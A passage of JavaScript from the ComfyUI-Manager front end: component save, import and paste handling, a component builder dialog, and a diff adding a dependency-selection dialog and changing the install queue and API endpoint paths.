pack_map[packname] = component_name;
rpack_map[component_name] = subgraph;
const res = await api.fetchApi('/manager/component/save', {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(body),
});
if(res.status == 200) {
storeGroupNode(component_name, subgraph);
const config = new GroupNodeConfig(component_name, subgraph);
let category = body.workflow.packname;
if(body.workflow.category) {
category += SEPARATOR + body.workflow.category;
}
if(category == '') {
category = 'components';
}
await config.registerType(category);
let path = await res.text();
show_message(`Component '${component_name}' is saved into:\n${path}`);
}
else
show_message(`Failed to save component.`);
}
async function import_component(component_name, component, mode) {
if(mode) {
let body =
{
name: component_name,
workflow: component
};
const res = await api.fetchApi('/manager/component/save', {
method: "POST",
headers: { "Content-Type": "application/json", },
body: JSON.stringify(body)
});
}
let category = component.packname;
if(component.category) {
category += SEPARATOR + component.category;
}
if(category == '') {
category = 'components';
}
storeGroupNode(component_name, component);
const config = new GroupNodeConfig(component_name, component);
await config.registerType(category);
}
function restore_to_loaded_component(component_name) {
if(rpack_map[component_name]) {
let component = rpack_map[component_name];
storeGroupNode(component_name, component, false);
const config = new GroupNodeConfig(component_name, component);
config.registerType(component.category);
}
}
// Using a timestamp prevents duplicate pastes and ensures the prevention of re-deletion of litegrapheditor_clipboard.
let last_paste_timestamp = null;
function versionCompare(v1, v2) {
let ver1;
let ver2;
if(v1 && v1 != '') {
ver1 = v1.split('.');
ver1[0] = parseInt(ver1[0]);
ver1[1] = parseInt(ver1[1]);
if(ver1.length == 2)
ver1.push(0);
else
ver1[2] = parseInt(ver2[2]);
}
else {
ver1 = [0,0,0];
}
if(v2 && v2 != '') {
ver2 = v2.split('.');
ver2[0] = parseInt(ver2[0]);
ver2[1] = parseInt(ver2[1]);
if(ver2.length == 2)
ver2.push(0);
else
ver2[2] = parseInt(ver2[2]);
}
else {
ver2 = [0,0,0];
}
if(ver1[0] > ver2[0])
return -1;
else if(ver1[0] < ver2[0])
return 1;
if(ver1[1] > ver2[1])
return -1;
else if(ver1[1] < ver2[1])
return 1;
if(ver1[2] > ver2[2])
return -1;
else if(ver1[2] < ver2[2])
return 1;
return 0;
}
function checkVersion(name, component) {
let msg = '';
if(rpack_map[name]) {
let old_version = rpack_map[name].version;
if(!old_version || old_version == '') {
msg = ` '${name}' Upgrade (V0.0 -> V${component.version})`;
}
else {
let c = versionCompare(old_version, component.version);
if(c < 0) {
msg = ` '${name}' Downgrade (V${old_version} -> V${component.version})`;
}
else if(c > 0) {
msg = ` '${name}' Upgrade (V${old_version} -> V${component.version})`;
}
else {
msg = ` '${name}' Same version (V${component.version})`;
}
}
}
else {
msg = `'${name}' NEW (V${component.version})`;
}
return msg;
}
async function handle_import_components(components) {
let msg = 'Components:\n';
let cnt = 0;
for(let name in components) {
let component = components[name];
let v = checkVersion(name, component);
if(cnt < 10) {
msg += v + '\n';
}
else if (cnt == 10) {
msg += '...\n';
}
else {
// do nothing
}
cnt++;
}
let last_name = null;
msg += '\nWill you load components?\n';
const confirmed = await customConfirm(msg);
if(confirmed) {
const mode = await customConfirm('\nWill you save components?\n(cancel=load without save)');
for(let name in components) {
let component = components[name];
import_component(name, component, mode);
last_name = name;
}
if(mode) {
show_message('Components are saved.');
}
else {
show_message('Components are loaded.');
}
}
if(cnt == 1 && last_name) {
const node = LiteGraph.createNode(`workflow${SEPARATOR}${last_name}`);
node.pos = [app.canvas.graph_mouse[0], app.canvas.graph_mouse[1]];
app.canvas.graph.add(node, false);
}
}
async function handlePaste(e) {
let data = (e.clipboardData || window.clipboardData);
const items = data.items;
for(const item of items) {
if(item.kind == 'string' && item.type == 'text/plain') {
data = data.getData("text/plain");
try {
let json_data = JSON.parse(data);
if(json_data.kind == 'ComfyUI Components' && last_paste_timestamp != json_data.timestamp) {
last_paste_timestamp = json_data.timestamp;
await handle_import_components(json_data.components);
// disable paste node
localStorage.removeItem("litegrapheditor_clipboard", null);
}
else {
console.log('This components are already pasted: ignored');
}
}
catch {
// nothing to do
}
}
}
}
document.addEventListener("paste", handlePaste);
export class ComponentBuilderDialog extends ComfyDialog {
constructor() {
super();
}
clear() {
while (this.element.children.length) {
this.element.removeChild(this.element.children[0]);
}
}
show() {
this.invalidateControl();
this.element.style.display = "block";
this.element.style.zIndex = 1099;
this.element.style.width = "500px";
this.element.style.height = "480px";
}
invalidateControl() {
this.clear();
let self = this;
const close_button = $el("button", { id: "cm-close-button", type: "button", textContent: "Close", onclick: () => self.close() });
this.save_button = $el("button",
{ id: "cm-save-button", type: "button", textContent: "Save", onclick: () =>
{
save_as_component(self.target_node, self.version_string.value.trim(), self.author.value.trim(), self.node_prefix.value.trim(),
self.getNodeName(), self.getPackName(), self.category.value.trim());
}
});
let default_nodename = getPureName(this.target_node).trim();
let groupNode = app.graph.extra.groupNodes[default_nodename];
let default_packname = groupNode.packname;
if(!default_packname) {
default_packname = '';
}
let default_category = groupNode.category;
if(!default_category) {
default_category = '';
}
this.default_ver = groupNode.version;
if(!this.default_ver) {
this.default_ver = '0.0';
}
let default_author = groupNode.author;
if(!default_author) {
default_author = '';
}
let delimiterIndex = default_nodename.indexOf('::');
let default_prefix = "";
if(delimiterIndex != -1) {
default_prefix = default_nodename.substring(0, delimiterIndex);
default_nodename = default_nodename.substring(delimiterIndex + 2);
}
if(!default_prefix) {
this.save_button.disabled = true;
}
this.pack_list = this.createPackListCombo();
let version_string = this.createLabeledInput('input version (e.g. 1.0)', '*Version : ', this.default_ver);
this.version_string = version_string[1];
this.version_string.disabled = true;
let author = this.createLabeledInput('input author (e.g. Dr.Lt.Data)', 'Author : ', default_author);
this.author = author[1];
let node_prefix = this.createLabeledInput('input node prefix (e.g. mypack)', '*Prefix : ', default_prefix);
this.node_prefix = node_prefix[1];
let manual_nodename = this.createLabeledInput('input node name (e.g. MAKE_BASIC_PIPE)', 'Nodename : ', default_nodename);
this.manual_nodename = manual_nodename[1];
let manual_packname = this.createLabeledInput('input pack name (e.g. mypack)', 'Packname : ', default_packname);
this.manual_packname = manual_packname[1];
let category = this.createLabeledInput('input category (e.g. util/pipe)', 'Category : ', default_category);
this.category = category[1];
this.node_label = this.createNodeLabel();
let author_mode = this.createAuthorModeCheck();
this.author_mode = author_mode[0];
const content =
$el("div.comfy-modal-content",
[
$el("tr.cm-title", {}, [
$el("font", {size:6, color:"white"}, [`ComfyUI-Manager: Component Builder`])]
),
$el("br", {}, []),
$el("div.cm-menu-container",
[
author_mode[0],
author_mode[1],
category[0],
author[0],
node_prefix[0],
manual_nodename[0],
manual_packname[0],
version_string[0],
this.pack_list,
$el("br", {}, []),
this.node_label
]),
$el("br", {}, []),
this.save_button,
close_button,
]
);
content.style.width = '100%';
content.style.height = '100%';
this.element = $el("div.comfy-modal", { id:'cm-manager-dialog', parent: document.body }, [ content ]);
}
validateInput() {
let msg = "";
if(!isValidVersionString(this.version_string.value)) {
msg += 'Invalid version string: '+event.value+"\n";
}
if(this.node_prefix.value.trim() == '') {
msg += 'Node prefix cannot be empty\n';
}
if(this.manual_nodename.value.trim() == '') {
msg += 'Node name cannot be empty\n';
}
if(msg != '') {
// alert(msg);
}
this.save_button.disabled = msg != "";
}
getPackName() {
if(this.pack_list.selectedIndex == 0) {
return this.manual_packname.value.trim();
}
return this.pack_list.value.trim();
}
getNodeName() {
if(this.manual_nodename.value.trim() != '') {
return this.manual_nodename.value.trim();
}
return getPureName(this.target_node);
}
createAuthorModeCheck() {
let check = $el("input",{type:'checkbox', id:"author-mode"},[])
const check_label = $el("label",{for:"author-mode"},["Enable author mode"]);
check_label.style.color = "var(--fg-color)";
check_label.style.cursor = "pointer";
check.checked = false;
let self = this;
check.onchange = () => {
self.version_string.disabled = !check.checked;
if(!check.checked) {
self.version_string.value = self.default_ver;
}
else {
customAlert('If you are not the author, it is not recommended to change the version, as it may cause component update issues.');
}
};
return [check, check_label];
}
createNodeLabel() {
let label = $el('p');
label.className = 'cb-node-label';
if(this.target_node.comfyClass.includes('::'))
label.textContent = getPureName(this.target_node);
else
label.textContent = " _::" + getPureName(this.target_node);
return label;
}
createLabeledInput(placeholder, label, value) {
let textbox = $el('input.cb-widget-input', {type:'text', placeholder:placeholder, value:value}, []);
let self = this;
textbox.onchange = () => {
this.validateInput.call(self);
this.node_label.textContent = this.node_prefix.value + "::" + this.manual_nodename.value;
}
let row = $el('span.cb-widget', {}, [ $el('span.cb-widget-input-label', label), textbox]);
return [row, textbox];
}
createPackListCombo() {
let combo = document.createElement("select");
combo.className = "cb-widget";
let default_packname_option = { value: '##manual', text: 'Packname: Manual' };
combo.appendChild($el('option', default_packname_option, []));
for(let name in pack_map) {
combo.appendChild($el('option', { value: name, text: 'Packname: '+ name }, []));
}
let self = this;
combo.onchange = function () {
if(combo.selectedIndex == 0) {
self.manual_packname.disabled = false;
}
else {
self.manual_packname.disabled = true;
}
};
return combo;
}
}
let orig_handleFile = app.handleFile;
async function handleFile(file, ...args) {
if (file.name?.endsWith(".json") || file.name?.endsWith(".pack")) {
const reader = new FileReader();
reader.onload = async () => {
let is_component = false;
const jsonContent = JSON.parse(reader.result);
for(let name in jsonContent) {
let cand = jsonContent[name];
is_component = cand.datetime && cand.version;
break;
}
if(is_component) {
await handle_import_components(jsonContent);
}
else {
orig_handleFile.call(app, file, ...args);
}
};
reader.readAsText(file);
return;
}
orig_handleFile.call(app, file, ...args);
}
app.handleFile = handleFile;
let current_component_policy = 'workflow';
try {
api.fetchApi('/manager/policy/component')
.then(response => response.text())
.then(data => { current_component_policy = data; });
}
catch {}
function getChangedVersion(groupNodes) {
if(!Object.keys(pack_map).length || !groupNodes)
return null;
let res = {};
for(let component_name in groupNodes) {
let data = groupNodes[component_name];
if(rpack_map[component_name]) {
let v = versionCompare(data.version, rpack_map[component_name].version);
res[component_name] = v;
}
}
return res;
}
const loadGraphData = app.loadGraphData;
app.loadGraphData = async function () {
if(arguments.length == 0)
return await loadGraphData.apply(this, arguments);
let graphData = arguments[0];
let groupNodes = graphData.extra?.groupNodes;
let res = getChangedVersion(groupNodes);
if(res) {
let target_components = null;
switch(current_component_policy) {
case 'higher':
target_components = Object.keys(res).filter(key => res[key] == 1);
break;
case 'mine':
target_components = Object.keys(res);
break;
default:
// do nothing
}
if(target_components) {
for(let i in target_components) {
let component_name = target_components[i];
let component = rpack_map[component_name];
if(component && graphData.extra?.groupNodes) {
graphData.extra.groupNodes[component_name] = component;
}
}
}
}
else {
console.log('Empty components: policy ignored');
}
arguments[0] = graphData;
return await loadGraphData.apply(this, arguments);
};
export function set_component_policy(v) {
current_component_policy = v;
}
let graphToPrompt = app.graphToPrompt;
app.graphToPrompt = async function () {
let p = await graphToPrompt.apply(app, arguments);
try {
let groupNodes = p.workflow.extra?.groupNodes;
if(groupNodes) {
p.workflow.extra = { ... p.workflow.extra};
// get used group nodes
let used_group_nodes = new Set();
for(let node of p.workflow.nodes) {
if(node.type.startsWith(`workflow/`) || node.type.startsWith(`workflow${SEPARATOR}`)) {
used_group_nodes.add(node.type.substring(9));
}
}
// remove unused group nodes
let new_groupNodes = {};
for (let key in p.workflow.extra.groupNodes) {
if (used_group_nodes.has(key)) {
new_groupNodes[key] = p.workflow.extra.groupNodes[key];
}
}
p.workflow.extra.groupNodes = new_groupNodes;
}
}
catch(e) {
console.log(`Failed to filtering group nodes: ${e}`);
}
return p;
}
@@ -8,7 +8,7 @@ import {
fetchData, md5, icons, show_message, customConfirm, customAlert, customPrompt,
sanitizeHTML, infoToast, showTerminal, setNeedRestart,
storeColumnWidth, restoreColumnWidth, getTimeAgo, copyText, loadCss,
showPopover, hidePopover, generateUUID
showPopover, hidePopover, handle403Response
} from "./common.js";
// https://cenfun.github.io/turbogrid/api.html
@@ -54,7 +54,7 @@ export class CustomNodesManager {
this.id = "cn-manager";
app.registerExtension({
name: "Comfy.Legacy.CustomNodesManager",
name: "Comfy.CustomNodesManager",
afterConfigureGraph: (missingNodeTypes) => {
const item = this.getFilterItem(ShowMode.MISSING);
if (item) {
@@ -67,6 +67,7 @@ export class CustomNodesManager {
this.filter = '';
this.keywords = '';
this.restartMap = {};
this.analyzeDependenciesBeforeInstall = false; // Default: false
this.init();
@@ -77,6 +78,36 @@ export class CustomNodesManager {
}
init() {
// Create checkbox for dependency analysis
const analyzeDepsCheckbox = $el("input", {
type: "checkbox",
id: "cn-analyze-deps-checkbox",
checked: this.analyzeDependenciesBeforeInstall,
onchange: (e) => {
this.analyzeDependenciesBeforeInstall = e.target.checked;
},
style: {
marginRight: "6px",
cursor: "pointer"
}
});
const analyzeDepsLabel = $el("label", {
for: "cn-analyze-deps-checkbox",
style: {
display: "flex",
alignItems: "center",
cursor: "pointer",
color: "#fff",
fontSize: "12px",
marginRight: "10px",
whiteSpace: "nowrap"
}
}, [
analyzeDepsCheckbox,
$el("span", { textContent: "Analyse dependencies before node installation" })
]);
const header = $el("div.cn-manager-header.px-2", {}, [
// $el("label", {}, [
// $el("span", { textContent: "Filter" }),
@@ -84,6 +115,7 @@ export class CustomNodesManager {
// ]),
createSettingsCombo("Filter", $el("select.cn-manager-filter")),
$el("input.cn-manager-keywords.p-inputtext.p-component", { type: "search", placeholder: "Search" }),
analyzeDepsLabel,
$el("div.cn-manager-status"),
$el("div.cn-flex-auto"),
$el("div.cn-manager-channel")
@@ -105,6 +137,421 @@ export class CustomNodesManager {
this.initGrid();
}
showDependencySelectorDialog(dependencies, onSelect) {
const dialog = new ComfyDialog();
dialog.element.style.zIndex = 1100;
dialog.element.style.width = "900px";
dialog.element.style.maxHeight = "80vh";
dialog.element.style.padding = "0";
dialog.element.style.backgroundColor = "#2a2a2a";
dialog.element.style.border = "1px solid #3a3a3a";
dialog.element.style.borderRadius = "8px";
dialog.element.style.boxSizing = "border-box";
dialog.element.style.overflow = "hidden";
const contentStyle = {
width: "100%",
display: "flex",
flexDirection: "column",
padding: "20px",
boxSizing: "border-box",
gap: "15px"
};
// Create scrollable table container with sticky header
const tableContainer = $el("div", {
style: {
maxHeight: "500px",
overflowY: "auto",
border: "1px solid #4a4a4a",
borderRadius: "4px",
backgroundColor: "#1a1a1a",
position: "relative"
}
});
// Create table
const table = $el("table", {
style: {
width: "100%",
borderCollapse: "separate",
borderSpacing: "0",
fontSize: "14px"
}
});
// Create table header with sticky positioning
const thead = $el("thead", {
style: {
position: "sticky",
top: "0",
zIndex: "10",
backgroundColor: "#2a2a2a",
boxShadow: "0 2px 4px rgba(0,0,0,0.3)"
}
}, [
$el("tr", {
style: {
backgroundColor: "#2a2a2a",
borderBottom: "2px solid #4a4a4a"
}
}, [
$el("th", {
textContent: "",
style: {
padding: "10px",
textAlign: "left",
width: "40px",
color: "#fff"
}
}),
$el("th", {
textContent: "Dependency Name",
style: {
padding: "10px",
textAlign: "left",
color: "#fff",
fontWeight: "bold"
}
}),
$el("th", {
textContent: "Current Version",
style: {
padding: "10px",
textAlign: "left",
color: "#fff",
fontWeight: "bold"
}
}),
$el("th", {
textContent: "Incoming Version",
style: {
padding: "10px",
textAlign: "left",
color: "#fff",
fontWeight: "bold"
}
})
])
]);
// Create table body
const tbody = $el("tbody", {});
// Create table rows for each dependency and its subdependencies
let rowIndex = 0;
dependencies.forEach((dep) => {
// Ensure name is not null/undefined and clean it
let depName = dep.name;
if (!depName || depName === 'null' || depName === 'None') {
// Fallback: extract from line
if (dep.line) {
depName = dep.line.split(/[=<>!~]/)[0].trim();
} else {
depName = "Unknown";
}
}
// Remove any "null" suffix that might have been appended
depName = String(depName).replace(/null$/i, '').trim();
const isInstalled = dep.status === 'installed';
const incomingVersion = dep.version || "NA";
const currentVersion = dep.currentVersion || "NA";
// Main dependency row
const row = $el("tr", {
style: {
backgroundColor: rowIndex % 2 === 0 ? "#1a1a1a" : "#222222",
borderBottom: "1px solid #3a3a3a"
}
}, [
$el("td", {
style: {
padding: "10px",
textAlign: "center"
}
}, [
$el("input", {
type: "checkbox",
checked: dep.selected,
onchange: (e) => {
dep.selected = e.target.checked;
},
style: {
cursor: "pointer",
width: "18px",
height: "18px"
}
})
]),
$el("td", {
style: {
padding: "10px",
color: isInstalled ? "#888" : "#fff"
}
}, [
$el("span", {
textContent: depName,
style: {
fontWeight: "500",
marginRight: isInstalled ? "8px" : "0"
}
}),
isInstalled ? $el("span", {
textContent: "Installed",
style: {
display: "inline-block",
backgroundColor: "#2a4a2a",
color: "#4a9",
padding: "2px 6px",
borderRadius: "3px",
fontSize: "10px",
fontWeight: "bold",
border: "1px solid #4a9"
}
}) : ''
]),
$el("td", {
textContent: currentVersion,
style: {
padding: "10px",
color: isInstalled ? "#4a9" : "#aaa",
fontFamily: "monospace"
}
}),
$el("td", {
textContent: incomingVersion,
style: {
padding: "10px",
color: "#fff",
fontFamily: "monospace"
}
})
]);
tbody.appendChild(row);
rowIndex++;
// Add subdependencies as indented rows
if(dep.subdependencies && dep.subdependencies.length > 0) {
dep.subdependencies.forEach((subdep) => {
// Ensure subdependency name is not null/undefined and clean it
let subdepName = subdep.name;
if (!subdepName || subdepName === 'null' || subdepName === 'None') {
subdepName = "Unknown";
}
// Remove any "null" suffix that might have been appended
subdepName = String(subdepName).replace(/null$/i, '').trim();
const subIsInstalled = subdep.status === 'installed';
const subIncomingVersion = subdep.version || "NA";
const subCurrentVersion = subdep.currentVersion || "NA";
const subRow = $el("tr", {
style: {
backgroundColor: rowIndex % 2 === 0 ? "#1a1a1a" : "#222222",
borderBottom: "1px solid #3a3a3a"
}
}, [
$el("td", {
style: {
padding: "10px",
textAlign: "center"
}
}, [
$el("input", {
type: "checkbox",
checked: subdep.selected,
onchange: (e) => {
subdep.selected = e.target.checked;
},
style: {
cursor: "pointer",
width: "18px",
height: "18px"
}
})
]),
$el("td", {
style: {
padding: "10px 10px 10px 30px",
color: subIsInstalled ? "#888" : "#aaa",
fontSize: "13px"
}
}, [
$el("span", {
textContent: "└─ " + subdepName,
style: {
fontWeight: "400",
marginRight: subIsInstalled ? "8px" : "0"
}
}),
subIsInstalled ? $el("span", {
textContent: "Installed",
style: {
display: "inline-block",
backgroundColor: "#2a4a2a",
color: "#4a9",
padding: "2px 6px",
borderRadius: "3px",
fontSize: "10px",
fontWeight: "bold",
border: "1px solid #4a9"
}
}) : ''
]),
$el("td", {
textContent: subCurrentVersion,
style: {
padding: "10px",
color: subIsInstalled ? "#4a9" : "#666",
fontFamily: "monospace",
fontSize: "13px"
}
}),
$el("td", {
textContent: subIncomingVersion,
style: {
padding: "10px",
color: "#aaa",
fontFamily: "monospace",
fontSize: "13px"
}
})
]);
tbody.appendChild(subRow);
rowIndex++;
});
}
});
table.appendChild(thead);
table.appendChild(tbody);
tableContainer.appendChild(table);
const content = $el("div", {
style: contentStyle
}, [
$el("h3", {
textContent: "Select Dependencies to Install",
style: {
color: "#ffffff",
backgroundColor: "#1a1a1a",
padding: "10px 15px",
margin: "0 0 10px 0",
width: "100%",
textAlign: "center",
borderRadius: "4px",
boxSizing: "border-box"
}
}),
$el("div", {
textContent: `${dependencies.filter(d => d.status === 'installed').length} already installed, ${dependencies.filter(d => d.status !== 'installed').length} to install`,
style: {
color: "#aaa",
fontSize: "12px",
marginBottom: "5px"
}
}),
tableContainer,
$el("div", {
style: {
display: "flex",
justifyContent: "space-between",
width: "100%",
gap: "10px",
marginTop: "10px"
}
}, [
$el("button", {
textContent: "Cancel",
onclick: () => {
onSelect(null); // Pass null to indicate cancellation
dialog.close();
},
style: {
flex: "1",
padding: "8px",
backgroundColor: "#4a4a4a",
color: "#ffffff",
border: "none",
borderRadius: "4px",
cursor: "pointer"
}
}),
$el("button", {
textContent: "Select All",
onclick: () => {
dependencies.forEach(dep => {
if (dep.status !== 'installed') {
dep.selected = true;
}
// Also select subdependencies
if(dep.subdependencies) {
dep.subdependencies.forEach(subdep => {
if(subdep.status !== 'installed') {
subdep.selected = true;
}
});
}
});
// Update checkboxes in the table
const checkboxes = tableContainer.querySelectorAll('input[type="checkbox"]');
checkboxes.forEach((checkbox) => {
if(!checkbox.disabled) {
checkbox.checked = true;
}
});
},
style: {
padding: "8px 15px",
backgroundColor: "#4a6a4a",
color: "#ffffff",
border: "none",
borderRadius: "4px",
cursor: "pointer"
}
}),
$el("button", {
textContent: "Install Selected",
onclick: () => {
// Collect all selected dependencies (main + subdependencies)
const selected = [];
dependencies.forEach(d => {
if(d.selected) {
selected.push(d);
}
// Also include selected subdependencies
if(d.subdependencies) {
d.subdependencies.forEach(subdep => {
if(subdep.selected) {
selected.push(subdep);
}
});
}
});
onSelect(selected);
dialog.close();
},
style: {
flex: "1",
padding: "8px",
backgroundColor: "#4CAF50",
color: "#ffffff",
border: "none",
borderRadius: "4px",
cursor: "pointer"
}
}),
])
]);
console.log('[Dependency Dialog] Showing dialog with', dependencies.length, 'dependencies');
dialog.show(content);
console.log('[Dependency Dialog] Dialog shown');
}
showVersionSelectorDialog(versions, onSelect) {
const dialog = new ComfyDialog();
dialog.element.style.zIndex = 1100;
@@ -462,7 +909,7 @@ export class CustomNodesManager {
".cn-manager-stop": {
click: () => {
api.fetchApi('/v2/manager/queue/reset');
api.fetchApi('/manager/queue/reset', { method: 'POST' });
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
}
},
@@ -638,7 +1085,7 @@ export class CustomNodesManager {
};
}
const response = await api.fetchApi(`/v2/customnode/import_fail_info`, {
const response = await api.fetchApi(`/customnode/import_fail_info`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(info)
@@ -1246,7 +1693,7 @@ export class CustomNodesManager {
async loadNodes(node_packs) {
const mode = manager_instance.datasrc_combo.value;
this.showStatus(`Loading node mappings (${mode}) ...`);
const res = await fetchData(`/v2/customnode/getmappings?mode=${mode}`);
const res = await fetchData(`/customnode/getmappings?mode=${mode}`);
if (res.error) {
console.log(res.error);
return;
@@ -1398,10 +1845,10 @@ export class CustomNodesManager {
this.showLoading();
let res;
if(is_enable) {
res = await api.fetchApi(`/v2/customnode/disabled_versions/${node_id}`, { cache: "no-store" });
res = await api.fetchApi(`/customnode/disabled_versions/${node_id}`, { cache: "no-store" });
}
else {
res = await api.fetchApi(`/v2/customnode/versions/${node_id}`, { cache: "no-store" });
res = await api.fetchApi(`/customnode/versions/${node_id}`, { cache: "no-store" });
}
this.hideLoading();
@@ -1443,6 +1890,13 @@ export class CustomNodesManager {
}
async installNodes(list, btn, title, selected_version) {
let stats = await api.fetchApi('/manager/queue/status');
stats = await stats.json();
if(stats.is_processing) {
customAlert(`[ComfyUI-Manager] There are already tasks in progress. Please try again after it is completed. (${stats.done_count}/${stats.total_count})`);
return;
}
const { target, label, mode} = btn;
if(mode === "uninstall") {
@@ -1463,15 +1917,116 @@ export class CustomNodesManager {
}
}
// For install mode, analyze dependencies BEFORE starting installation
let selectedDependencies = [];
let dependencyDialogShown = false; // Track if dialog was shown
if(mode === "install" && this.analyzeDependenciesBeforeInstall) {
// Analyze dependencies for all items first (only if checkbox is enabled)
for (const hash of list) {
const item = this.grid.getRowItemBy("hash", hash);
if (!item) {
console.log('[Dependency Analysis] Item not found for hash:', hash);
continue;
}
const data = item.originalData;
console.log('[Dependency Analysis] Item data:', {
title: item.title,
files: data.files,
repository: data.repository,
hasFiles: !!data.files,
filesLength: data.files ? data.files.length : 0
});
// Try multiple ways to get the git URL
let gitUrl = null;
if(data.files && data.files.length > 0) {
gitUrl = data.files[0];
} else if(data.repository) {
gitUrl = data.repository;
}
if(gitUrl && (gitUrl.includes('github.com') || gitUrl.includes('.git'))) {
try {
this.showStatus(`Analyzing dependencies for ${item.title}...`);
console.log('[Dependency Analysis] Fetching dependencies for:', gitUrl);
const analyzeRes = await api.fetchApi('/customnode/analyze_dependencies', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
url: gitUrl,
commitId: data.commit_id,
branch: data.branch
})
});
console.log('[Dependency Analysis] Response status:', analyzeRes.status);
if(analyzeRes.status === 200) {
const analyzeData = await analyzeRes.json();
console.log('[Dependency Analysis] Response data:', {
success: analyzeData.success,
hasDependencies: !!analyzeData.dependencies,
dependenciesCount: analyzeData.dependencies ? analyzeData.dependencies.length : 0,
noRequirementsFile: analyzeData.noRequirementsFile
});
if(analyzeData.success && analyzeData.dependencies && analyzeData.dependencies.length > 0) {
console.log('[Dependency Analysis] Showing dialog with', analyzeData.dependencies.length, 'dependencies');
dependencyDialogShown = true;
// Show dependency selection dialog and wait for user
const userSelection = await new Promise((resolve) => {
this.showDependencySelectorDialog(analyzeData.dependencies, (selected) => {
console.log('[Dependency Analysis] User selected:', selected);
resolve(selected);
});
});
// If user cancelled (null), stop installation
if(userSelection === null) {
console.log('[Dependency Analysis] User cancelled installation');
this.showStatus("Installation cancelled");
return;
}
selectedDependencies = userSelection || [];
console.log('[Dependency Analysis] Selected dependencies:', selectedDependencies.length);
} else if(analyzeData.noRequirementsFile) {
console.log('[Dependency Analysis] No requirements.txt file found');
} else {
console.log('[Dependency Analysis] No dependencies to show');
}
} else {
const errorText = await analyzeRes.text();
console.error('[Dependency Analysis] API error:', analyzeRes.status, errorText);
}
} catch(e) {
console.error('[Dependency Analysis] Exception:', e);
// Continue with installation even if dependency analysis fails
}
} else {
console.log('[Dependency Analysis] Not a GitHub URL or no URL found:', gitUrl);
}
}
}
target.classList.add("cn-btn-loading");
this.showError("");
let needRestart = false;
let errorMsg = "";
let target_items = [];
await api.fetchApi('/manager/queue/reset', { method: 'POST' });
let batch = {};
// Set install_context BEFORE per-item queue enqueue calls so that any
// server-side synchronous completion (e.g., sync enable of an inactive
// node) that emits cm-queue-status before we return here still finds
// install_context populated in onQueueCompleted. target_items is shared
// by reference so further pushes below remain visible.
let target_items = [];
this.install_context = {btn: btn, targets: target_items};
for (const hash of list) {
const item = this.grid.getRowItemBy("hash", hash);
@@ -1498,6 +2053,46 @@ export class CustomNodesManager {
data.mode = this.mode;
data.ui_id = hash;
// Add selected dependencies to data (including subdependencies)
// Only install selected dependencies - respect user's selection
const allSelected = [];
if(selectedDependencies.length > 0) {
selectedDependencies.forEach(d => {
// Add main dependency if selected
if(d.selected) {
allSelected.push({
name: d.name,
version: d.version,
line: d.line
});
}
// Add selected subdependencies
if(d.subdependencies) {
d.subdependencies.forEach(subdep => {
if(subdep.selected) {
allSelected.push({
name: subdep.name,
version: subdep.version,
line: `${subdep.name}${subdep.version ? '==' + subdep.version : ''}`
});
}
});
}
});
}
// Set selectedDependencies:
// - If dialog was shown: always set (even if empty) to respect user's selection
// - If dialog was not shown: don't set (install all dependencies - original behavior)
if(dependencyDialogShown) {
// User saw the dialog, respect their selection (even if empty)
data.selectedDependencies = allSelected;
} else if(allSelected.length > 0) {
// Dialog wasn't shown but we have selections (shouldn't happen, but just in case)
data.selectedDependencies = allSelected;
}
// If dialog wasn't shown and no selections, don't set selectedDependencies
// This means backend will install all dependencies (original behavior)
let install_mode = mode;
if(mode == 'switch') {
install_mode = 'install';
@@ -1514,16 +2109,35 @@ export class CustomNodesManager {
api_mode = 'reinstall';
}
if(batch[api_mode]) {
batch[api_mode].push(data);
}
else {
batch[api_mode] = [data];
const res = await api.fetchApi(`/manager/queue/${api_mode}`, {
method: 'POST',
body: JSON.stringify(data)
});
if (res.status != 200) {
errorMsg = `'${item.title}': `;
if(res.status == 403) {
try {
const data = await res.json();
if(data.error === 'comfyui_outdated') {
errorMsg += `ComfyUI version is outdated. Please update ComfyUI to use Manager normally.\n`;
} else {
errorMsg += `This action is not allowed with this security level configuration.\n`;
}
} catch {
errorMsg += `This action is not allowed with this security level configuration.\n`;
}
} else if(res.status == 404) {
errorMsg += `With the current security level configuration, only custom nodes from the <B>"default channel"</B> can be installed.\n`;
} else {
errorMsg += await res.text() + '\n';
}
break;
}
}
this.install_context = {btn: btn, targets: target_items};
if(errorMsg) {
this.showError(errorMsg);
show_message("[Installation Errors]\n"+errorMsg);
@@ -1535,24 +2149,7 @@ export class CustomNodesManager {
}
}
else {
this.batch_id = generateUUID();
batch['batch_id'] = this.batch_id;
const res = await api.fetchApi(`/v2/manager/queue/batch`, {
method: 'POST',
body: JSON.stringify(batch)
});
let failed = await res.json();
if(failed.length > 0) {
for(let k in failed) {
let hash = failed[k];
const item = this.grid.getRowItemBy("hash", hash);
errorMsg = `[FAIL] ${item.title}`;
}
}
await api.fetchApi('/manager/queue/start', { method: 'POST' });
this.showStop();
showTerminal();
}
@@ -1560,60 +2157,97 @@ export class CustomNodesManager {
async onQueueStatus(event) {
let self = CustomNodesManager.instance;
// If legacy manager front is not open, return early (using new manager front)
if (self.element?.style.display === 'none') return
if(event.detail.status == 'in_progress' && event.detail.ui_target == 'nodepack_manager') {
const hash = event.detail.target;
const item = self.grid.getRowItemBy("hash", hash);
if (!item) {
return;
}
item.restart = true;
self.restartMap[item.hash] = true;
self.grid.updateCell(item, "action");
self.grid.setRowSelected(item, false);
}
else if(event.detail.status == 'batch-done' && event.detail.batch_id == self.batch_id) {
else if(event.detail.status == 'done') {
self.hideStop();
self.onQueueCompleted(event.detail);
// Await + error logging so any unhandled rejection surfaces to the
// console instead of silently swallowing completion finalization
// (root cause of disable/enable button staying loading with no toast).
try {
await self.onQueueCompleted(event.detail);
} catch (e) {
console.error("[ComfyUI-Manager] onQueueCompleted failed:", e);
}
}
}
async onQueueCompleted(info) {
// `nodepack_result` is a dict serialized from a Python dict, not an array.
// `dict.length` is `undefined` and `undefined == 0` is `false`, so the
// previous `result.length == 0` guard was a no-op; switch to a correct
// empty-check that also tolerates null/undefined.
let result = info.nodepack_result;
if(result.length == 0) {
if (!result || Object.keys(result).length === 0) {
return;
}
let self = CustomNodesManager.instance;
if(!self.install_context) {
if (!self || !self.install_context) {
return;
}
const { target, label, mode } = self.install_context.btn;
target.classList.remove("cn-btn-loading");
const targets = self.install_context.targets || [];
